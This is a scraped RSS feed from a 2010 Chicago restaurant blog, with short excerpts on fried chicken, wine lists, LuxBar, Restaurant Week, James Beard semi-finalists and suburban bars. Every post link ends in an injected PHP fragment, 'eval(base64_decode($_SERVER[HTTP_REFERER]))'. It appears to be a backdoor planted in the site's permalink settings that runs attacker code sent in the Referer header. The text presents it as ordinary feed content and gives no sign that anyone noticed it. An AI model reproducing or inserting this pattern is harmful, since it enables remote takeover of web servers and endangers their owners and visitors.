http://www.bestofthebestdiningchicago.com Dining in Chicagoland Tue, 09 Mar 2010 23:38:58 +0000 http://backend.userland.com/rss092 en Our friends over at Time Out Chicago went on a rendevous to find some of their favorite fried chicken places...LH The chicken at one sixtyblue Photo: Jill Paider Evanston Chicken Shack Regulars at this roadside dive know to call in their orders ahead of time so they don’t have to drool for 20-plus minutes ... http://www.bestofthebestdiningchicago.com/2010/03/09/best-fried-chicken/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Nomi Michael Bottigliero, wine writer at the Windy City Wine Guy, has come out with his opinion on the best Mag Mile restaurant wine lists.  They sure sound right to me. LH There’s no doubt that Chicago’s Magnificent Mile has alot to offer, and wine is no exception.  Some of the best ... http://www.bestofthebestdiningchicago.com/2010/03/06/mag-miles-best-wine-lists/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The Bar Firkin is tucked in to quaint, “Mayberry like” downtown Libertyville.  It’s located next to its sister restaurant The Tavern.  Manager Tom Olsen warmly greeted me and Giles from the Great American Cheese Collection.  Giles had been selling Tom cheese for many years and they had yet to meet.   Although Firkin has ... http://www.bestofthebestdiningchicago.com/2010/03/01/firkin-now-thats-really-satisfying/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The new James Beard Foundation semi-finalists include a healthy selection of chefs and restaurants from Chicago and the Suburbs. There is a total of 397 semi-finalists that will be voted on March 22nd in New Orleans.  The winners will be chosen May 3rd in New York City. LH OUTSTANDING RESTAURANTEUR Donald J. Madia: ... http://www.bestofthebestdiningchicago.com/2010/02/22/chicago-is-prominent-in-james-beard-foundation-semi-finalist-group/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/   James, our great server! I was invited to sample the menu at LuxBar and it had been some time since I’d been there.  Friday late lunch – in the main room next to the cozy fireplace. The Olympics were on, and some TV’s were tuned to discussion about Tiger Woods.  Luxbar is ... http://www.bestofthebestdiningchicago.com/2010/02/21/cozy-up-to-luxbar/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Chicago's third annual Restaurant week has started. It's a great way to sample restaurants while honoring your budget.  Lunches are a fixed price of $22 for 3 courses.  Dinners run $32 for 3 courses.  This does not include tax and gratituity. As of today, there are over 170 restaurants participating - ... http://www.bestofthebestdiningchicago.com/2010/02/20/chicago-restaurant-week-february-19th-28th/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Last Saturday night, the culinary rat pack descended upon Natalino’s on Chicago Avenue. They’ve been in the space a little over two years (certainly enough time to work out the kinks). We had a party of 10 during Valentines Day weekend (which typically is a busy time). This was no ... http://www.bestofthebestdiningchicago.com/2010/02/17/worst-of-the-worst-natalinos/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Chicken Cordon Bleu The culinary rat pack gathered at Dori's for "retro 1960's night" -music, cuisine and cocktails all had the flair.  Here's the menu: Appetizers Chicken Liver Pate Toast points Shrimp Butter Blue cheese chili dip Drunken Frog Legs Waldorf Salad Shrimp Cocktail  Entrees Lobster Thermidor     Tournedos of Beef with Bordelaise Sauce     Boeuf bourguinonne         Chicken Cordon Bleu     Potatoes dauphinoise       Dessert Cream Puffs Obviously, everything was pretty ... http://www.bestofthebestdiningchicago.com/2010/02/13/retro-1960s-dinner/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ A few weeks ago I gathered the family to visit Pinstripes.  There is one in the Arboretum shopping center in South Barrington that is no more than about a year or two old.  This 50,000 square foot facility kind of catches your breath the first time you walk in.  To the left ... http://www.bestofthebestdiningchicago.com/2010/02/10/pinstripes-has-something-for-everyone/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The folks at Chicago Magazine have selected their top ten suburban bars. Now that the Superbowl is over, it's time to continue bar patronage - go ahead, try some new ones!  LH SOUTHERN FLOSSMOOR STATION This quaint spot—named the best small brewpub at the 2006 Great American Beer Festival—is housed in a 90-year-old train ... http://www.bestofthebestdiningchicago.com/2010/02/08/top-ten-best-suburban-bars/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/